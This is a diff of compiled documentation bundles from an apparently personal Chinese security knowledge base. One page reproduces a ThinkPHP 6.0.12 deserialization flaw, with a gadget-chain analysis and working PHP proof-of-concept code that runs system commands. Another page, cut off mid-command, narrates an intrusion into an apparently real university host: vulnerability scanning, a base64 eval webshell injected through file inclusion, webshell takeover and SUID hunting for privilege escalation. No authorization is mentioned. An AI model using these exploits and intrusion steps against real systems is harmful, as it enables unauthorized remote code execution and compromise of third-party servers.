i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","title":"Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/02.Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/02.Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"},"next":{"title":"Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce"}}');var t=s(74848),c=s(28453);const l={},r=void 0,d={},h=[{value:"\u6d4b\u8bd5\u4ee3\u7801",id:"\u6d4b\u8bd5\u4ee3\u7801",level:2},{value:"\u6f0f\u6d1e\u5206\u6790",id:"\u6f0f\u6d1e\u5206\u6790",level:2},{value:"POC",id:"poc",level:2},{value:"\u7ed3\u679c",id:"\u7ed3\u679c",level:2}];function o(n){const e={blockquote:"blockquote",code:"code",h2:"h2",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:46:59"})]})})]}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:"Thinkphp6.0.12"}),"\n",(0,t.jsx)(e.p,{children:"php 7.4.0"}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:"composer create-project topthink/think=6.0.12 tp6"})}),"\n",(0,t.jsx)(e.h2,{id:"\u6d4b\u8bd5\u4ee3\u7801",children:"\u6d4b\u8bd5\u4ee3\u7801"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsx)(e.li,{children:"\u5728\u9879\u76ee\u76ee\u5f55\u4e0b\u521b\u5efa\u4e00\u4e2a\u6d4b\u8bd5\u63a7\u5236\u5668"}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:"php think make:controller Test"})}),"\n",(0,t.jsxs)(e.ol,{start:"2",children:["\n",(0,t.jsx)(e.li,{children:"\u5728Test\u63a7\u5236\u5668 index\u65b9\u6cd5\u4e2d\u6dfb\u52a0"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:" public function index()\n {\n if ($a=input('param.a')){\n var_dump(base64_decode($a));\n echo \"<br>\";\n unserialize(base64_decode($a));\n }\n }\n"})}),"\n",(0,t.jsx)(e.h2,{id:"\u6f0f\u6d1e\u5206\u6790",children:"\u6f0f\u6d1e\u5206\u6790"}),"\n",(0,t.jsxs)(e.p,{children:["\u200b\t1.\u5728\u5927\u4f6c\u7684\u6587\u7ae0\u603b\u7ed3\u4e2d\uff0c \u53cd\u5e8f\u5217\u5316 \u4e00\u822c\u8d77\u70b9\u51fa\u73b0\u5728__desturct \u548c __wakeup \u901a\u8fc7\u5168\u5c40\u641c\u7d22 \u67e5\u8be2\u6ee1\u8db3\u6761\u4ef6\u7684 \u5728\uff1a",(0,t.jsx)(e.code,{children:"vendor\\topthink\\think-orm\\src\\Model.php"}),"(\u5927\u4f6c\u600e\u4e48\u8bf4\u6211\u600e\u4e48\u5199)"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646879.png",alt:"image-20220303180420019"})}),"\n",(0,t.jsxs)(e.ol,{start:"2",children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsxs)(e.p,{children:["\u7b2c\u4e00\u4e2a\u6761\u4ef6 \u8981\u628a ",(0,t.jsx)(e.code,{children:"$this->lazySave"}),"\u8bbe\u7f6e\u4e3aTrue"]}),"\n",(0,t.jsxs)(e.p,{children:["\u8ddf\u8fdb",(0,t.jsx)(e.code,{children:"$this->save()"}),", ",(0,t.jsx)(e.code,{children:"$this->isEmpty()"})," \u53ea\u8981\u4fdd\u8bc1data \u4e0d\u4e3a\u7a7a\u5c31\u884c ",(0,t.jsx)(e.code,{children:"$this->trigger('BeforeWrite'))"})," \u9ed8\u8ba4\u8fd4\u56de\u4e3a\u771f"]}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"public function isEmpty(): bool\n{\n return empty($this->data);\n}\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"3",children:["\n",(0,t.jsxs)(e.li,{children:["\u5c06 ",(0,t.jsx)(e.code,{children:"$this->exists"}),"\u8bbe\u7f6e\u4e3aTrue\uff0c\u8ddf\u8fdb ",(0,t.jsx)(e.code,{children:"$this -> updateData()"})]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646880.png",alt:"image-20220303181123318"})}),"\n",(0,t.jsxs)(e.ol,{start:"4",children:["\n",(0,t.jsxs)(e.li,{children:["\u5728 621\u5217 ",(0,t.jsx)(e.code,{children:"$allowFields = $this->checkAllowFields()"})," \u8ddf\u8fdb"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646881.png",alt:"image-20220303181558066"})}),"\n",(0,t.jsxs)(e.ol,{start:"5",children:["\n",(0,t.jsxs)(e.li,{children:["\u7ee7\u7eed\u8ddf\u8fdb 565\u5217 ",(0,t.jsx)(e.code,{children:"$query = $this->db();"})]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646882.png",alt:"image-20220303181719266"})}),"\n",(0,t.jsxs)(e.ol,{start:"6",children:["\n",(0,t.jsxs)(e.li,{children:["\u5728362\u884c\u5c06 ",(0,t.jsx)(e.code,{children:"$this->table . $this->suffix"})," \u62fc\u63a5\u5728\u4e00\u8d77\uff0c\u5c06$this->table \u8bbe\u7f6e\u4e3a\u4e00\u4e2a\u5bf9\u8c61 \u89e6\u53d1 __toString"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646883.png",alt:"image-20220303181958370"})}),"\n",(0,t.jsxs)(e.ol,{start:"7",children:["\n",(0,t.jsxs)(e.li,{children:["\u5168\u5c40\u67e5\u627e__toString \u6700\u540e\u5728 ",(0,t.jsx)(e.code,{children:"vendor\\topthink\\think-orm\\src\\model\\concern\\Conversion.php"})," \u4e2d\u627e\u5230__toString()\uff08\u4ee5\u524d\u7248\u672c\u4e5f\u662f\u5728\u8fd9\u91cc\u51fa\u73b0\u6f0f\u6d1e\u7684\uff0c\u53cd\u6b63\u5f88\u597d\u627e\u5230\uff09\u8fd9\u91cc\u662f\u4e00\u4e2a\u4ee3\u7801\u590d\u7528\u7684\u673a\u5236\u6240\u4ee5\u4e0d\u7528\u5c06",(0,t.jsx)(e.code,{children:"$this->table"})," \u8bbe\u7f6e\u6210\u7279\u5b9a\u7c7b\uff0c \u521a\u597dModel\u62bd\u8c61\u7c7b\u4e5f\u6709\u7528\u5230 ",(0,t.jsx)(e.code,{children:"use model\\concern\\Conversion"})," \u6240\u4ee5\u8fd9\u91cc\u76f4\u63a5\u5b9e\u4f8b\u5316\u672c\u8eab\u5c31\u884c"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646884.png",alt:"image-20220303183151437"})}),"\n",(0,t.jsxs)(e.ol,{start:"8",children:["\n",(0,t.jsxs)(e.li,{children:["\u7ee7\u7eed\u8ddf\u8fdb",(0,t.jsx)(e.code,{children:"$this->toArray()"})," \uff0c\u5c06 ",(0,t.jsx)(e.code,{children:"$this->data"})," \u8bbe\u7f6e\u4e3a\u6570\u636e\u5373\u53ef\u8fdb\u5165\u5faa\u73af\uff0c \u5728238 \u4e2d\u8ddf\u8fdb ",(0,t.jsx)(e.code,{children:"$key"})," \u662f ",(0,t.jsx)(e.code,{children:"$data"}),"\u7684\u952e\u540d"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646885.png",alt:"image-20220303183401764"})}),"\n",(0,t.jsxs)(e.ol,{start:"9",children:["\n",(0,t.jsxs)(e.li,{children:["\u8ddf\u8fdb",(0,t.jsx)(e.code,{children:"$this->getAttr($key)"})]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646886.png",alt:"image-20220303183631626"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"$name"})," \u53ef\u63a7\u4e0d\u63d0"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"$value"})," \u4e3a ",(0,t.jsx)(e.code,{children:"$this->getData($name)"}),"\u8fd4\u56de\u503c \uff0c\u8ddf\u8fdb\u4e00\u4e0b"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646887.png",alt:"image-20220303183905068"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"$fieldName"})," \u8ddf\u8fdb\u4e00\u4e0b"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646888.png",alt:"image-20220303183952916"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"$fieldName"})," \u53ef\u63a7\uff0c \u8fd4\u56de\u7684\u662f ",(0,t.jsx)(e.code,{children:"$this->data[$fieldName]"})]}),"\n",(0,t.jsxs)(e.p,{children:["\u5f88\u660e\u663e\u8fd9\u4e2a",(0,t.jsx)(e.code,{children:"$value"}),"\u5c31\u662f ",(0,t.jsx)(e.code,{children:"$this->data"}),"\u7684\u503c\uff0c"]}),"\n",(0,t.jsxs)(e.ol,{start:"10",children:["\n",(0,t.jsxs)(e.li,{children:["\u7ee7\u7eed\u8ddf\u8fdb",(0,t.jsx)(e.code,{children:"$this->getValue($name, $value, $relation);"})]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646889.png",alt:"image-20220303184253914"})}),"\n",(0,t.jsxs)(e.p,{children:["\u7b2c 509 \u884c \uff0c",(0,t.jsx)(e.code,{children:"$fieldName"})," \u4e3a ",(0,t.jsx)(e.code,{children:"$this->data"})," \u952e\u540d \uff0c\u5c06",(0,t.jsx)(e.code,{children:"this->json"})," \u8bbe\u7f6e\u6210 ",(0,t.jsx)(e.code,{children:"$this->data"}),"\u7684\u952e\u540d\uff0c",(0,t.jsx)(e.code,{children:"$this->withAttr[$fieldName]"})," \u8bbe\u7f6e\u6210 \u6570\u7ec4\u5c31\u884c"]}),"\n",(0,t.jsxs)(e.ol,{start:"11",children:["\n",(0,t.jsxs)(e.li,{children:["\u8ddf\u8fdb",(0,t.jsx)(e.code,{children:"$this->getJsonValue($fieldName, $value)"}),"\uff0c\u4fdd\u8bc1",(0,t.jsx)(e.code,{children:"$this->jsonAssoc"}),"\u4e3a\u771f\u5373\u53ef\uff0c\u5c06",(0,t.jsx)(e.code,{children:"$this->withAttr"}),"\u7684 \u503c\u8bbe\u7f6e\u6210\u4f60\u9700\u8981\u6267\u884c\u7684\u51fd\u6570\uff0c\u800c ",(0,t.jsx)(e.code,{children:"$this->data"}),"\u7684\u503c\u8bbe\u7f6e\u4e3a \u9700\u8981\u6267\u884c\u7684\u4ee3\u7801\u5373\u53ef"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646890.png",alt:"image-20220303185128690"})}),"\n",(0,t.jsx)(e.h2,{id:"poc",children:"POC"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nnamespace think{\n abstract class Model{\n private $lazySave;\n private $data;\n protected $table;\n private $withAttr;\n protected $json ;\n protected $jsonAssoc;\n private $exists;\n public function __construct($obj = '')\n {\n $this->lazySave = True;\n $this->exists = True;\n $this->data = ['arr' =>['whoami']];\n $this->table = $obj;\n $this->withAttr = ['arr'=>['system']];\n $this->json = ['arr'];\n $this->jsonAssoc = True;\n }\t\n }\n}\nnamespace think\\Model{\n use think\\Model;\n class Pivot extends Model{\n }\n}\n\nnamespace {\n $a = new think\\model\\Pivot();\n $b = new think\\model\\Pivot($a);\n echo base64_encode(serialize($b));\n\n}\n\n"})}),"\n",(0,t.jsx)(e.h2,{id:"\u7ed3\u679c",children:"\u7ed3\u679c"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646891.png",alt:"image-20220303185727488"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:'<?php\n\nnamespace think\\model\\concern;\n\ntrait Attribute\n{\n private $data = ["key" => ["key1" => "cat /f*"]];\n private $withAttr = ["key"=>["key1"=>"system"]];\n protected $json = ["key"];\n}\nnamespace think;\n\nabstract class Model\n{\n use model\\concern\\Attribute;\n private $lazySave;\n protected $withEvent;\n private $exists;\n private $force;\n protected $table;\n protected $jsonAssoc;\n function __construct($obj = \'\')\n {\n $this->lazySave = true;\n $this->withEvent = false;\n $this->exists = true;\n $this->force = true;\n $this->table = $obj;\n $this->jsonAssoc = true;\n }\n}\n\nnamespace think\\model;\n\nuse think\\Model;\n\nclass Pivot extends Model\n{\n}\n$a = new Pivot();\n$b = new Pivot($a);\n\necho urlencode(serialize($b));\n'})})]})}function a(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/assets/js/1fa00a41.06980f93.js b/assets/js/1fa00a41.06980f93.js new file mode 100644 index 0000000..2f41edf --- /dev/null +++ b/assets/js/1fa00a41.06980f93.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2369],{28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>i});var s=n(96540);const l={},r=s.createContext(l);function o(e){const t=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:o(e.components),s.createElement(r.Provider,{value:t},e.children)}},47251:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>a,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet","title":"4.2 GoogleNet.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.2 GoogleNet.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.2 GoogleNet.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"4.1 ResNet.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet"},"next":{"title":"4.3 DenseNet.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet"}}');var l=n(74848),r=n(28453);const o={},i="4.2 GoogleNet.md",c={},d=[];function h(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(t.header,{children:(0,l.jsx)(t.h1,{id:"42-googlenetmd",children:"4.2 GoogleNet.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(t.table,{children:[(0,l.jsx)(t.thead,{children:(0,l.jsxs)(t.tr,{children:[(0,l.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(t.tbody,{children:(0,l.jsxs)(t.tr,{children:[(0,l.jsx)(t.td,{style:{textAlign:"left"},children:(0,l.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(t.table,{children:[(0,l.jsx)(t.thead,{children:(0,l.jsxs)(t.tr,{children:[(0,l.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(t.tbody,{children:(0,l.jsxs)(t.tr,{children:[(0,l.jsx)(t.td,{style:{textAlign:"left"},children:(0,l.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]})]})}function a(e={}){const{wrapper:t}={...(0,r.R)(),...e.components};return t?(0,l.jsx)(t,{...e,children:(0,l.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/222a769e.f5a45ff9.js b/assets/js/222a769e.f5a45ff9.js new file mode 100644 index 0000000..131ce83 --- /dev/null +++ b/assets/js/222a769e.f5a45ff9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6873],{28453:(e,n,s)=>{s.d(n,{R:()=>r,x:()=>a});var t=s(96540);const i={},o=t.createContext(i);function r(e){const n=t.useContext(o);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function a(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:r(e.components),t.createElement(o.Provider,{value:n},e.children)}},68942:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>a,default:()=>d,frontMatter:()=>r,metadata:()=>t,toc:()=>l});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/README","title":"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/01.\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/01.\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/01.\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177"},"next":{"title":"SpringBoot\u6e17\u900f","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/"}}');var i=s(74848),o=s(28453);const r={},a="\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5",c={},l=[];function p(e){const n={code:"code",del:"del",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,o.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5",children:"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:34:34"})]})})]}),"\n",(0,i.jsxs)(n.p,{children:["\u4f7f\u7528\u81ea\u52a8\u5316\u811a\u672c\u914d\u5408",(0,i.jsx)(n.code,{children:"pathScan"}),"\u3001",(0,i.jsx)(n.code,{children:"nuclei"}),"\u8fdb\u884c\u6f0f\u6d1e\u626b\u63cf"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"#!/bin/bash\n\n# \u83b7\u53d6\u811a\u672c\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u57df\u540d\ndomain=$1\n\n# \u68c0\u67e5\u662f\u5426\u63d0\u4f9b\u4e86\u57df\u540d\nif [ -z \"$domain\" ]; then\n echo \"\u7528\u6cd5: $0 wjlin0.com\"\n exit 1\nfi\noutput_path=./output/$domain\n\n# \u521b\u5efa\u8def\u5f84\nmkdir -p $output_path\n\n# \u626b\u63cf\u5b50\u57df\u540d (-sd \u53d1\u73b0\u66f4\u591a\u76ee\u6807)\npathScan -s -sq $domain -o $output_path/out.csv -csv -sd\n# \u6392\u9664 5xx \u548c 400 \u72b6\u6001\u7801\u7684\u7ed3\u679c\ncat $output_path/out.csv | awk -F, 'NR > 1 && !($9 ~ /^[5]/ || $9 == 400) { print $2 }' > $output_path/url_out.txt\n\n# \u4ece url_out.txt \u4e2d\u63d0\u53d6\u57df\u540d, \u5e76\u4e14\u53bb\u91cd\ncat $output_path/url_out.txt | awk -F/ '{ print $3 }' | sort -u > $output_path/domain_out.txt\n# \u6392\u9664 vpn \u76f8\u5173\u57df\u540d \n\n\n# \u626b\u63cf\u6f0f\u6d1e\nnuclei -list $output_path/url_out.txt -o $output_path/nuclei_out.txt\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u6709\u4e2a\u4e25\u91cd\uff0c\u597d\u5bb6\u4f19",(0,i.jsx)(n.code,{children:"dvwa"}),"\uff0c\u8fdb\u53bb\u770b\u770b"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644109.png",alt:"image-20240112211000138"})}),"\n",(0,i.jsxs)(n.p,{children:["\u770b\u4e00\u4e0b\u6709\u6ca1\u6709",(0,i.jsx)(n.code,{children:"disable_functions()"})]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"http://xx.xx/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2B&1=phpinfo();\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644110.png",alt:"image-20240112211429705"})}),"\n",(0,i.jsx)(n.p,{children:"\u5e94\u8be5\u662f\u6ca1\u6709 \u7528\u8681\u5251\u4e0a\u7ebf\u5427"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644111.png",alt:"image-20240112170550295"})}),"\n",(0,i.jsx)(n.p,{children:"\u770b\u4e00\u4e0b\u80fd\u4e0d\u80fd\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u53d1\u73b0\u80fd\uff0c\u8fd8\u633a\u597d"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644112.png",alt:"image-20240112170705054"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644113.png",alt:"image-20240112175624858"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-text",children:'Linux mituan-cg-2106 4.19.24-7.34.cbp.al7.x86_64 #1 SMP Thu Dec 15 08:56:31 UTC 2022 x86_64 GNU/Linux\n\nPRETTY_NAME="Debian GNU/Linux 9 (stretch)"\nNAME="Debian GNU/Linux"\nVERSION_ID="9"\nVERSION="9 (stretch)"\nID=debian\nHOME_URL="https://www.debian.org/"\nSUPPORT_URL="https://www.debian.org/support"\nBUG_REPORT_URL="https://bugs.debian.org/"\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u67e5\u627e\u6709\u6ca1\u6709suid"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"find / -perm -u=s -type f 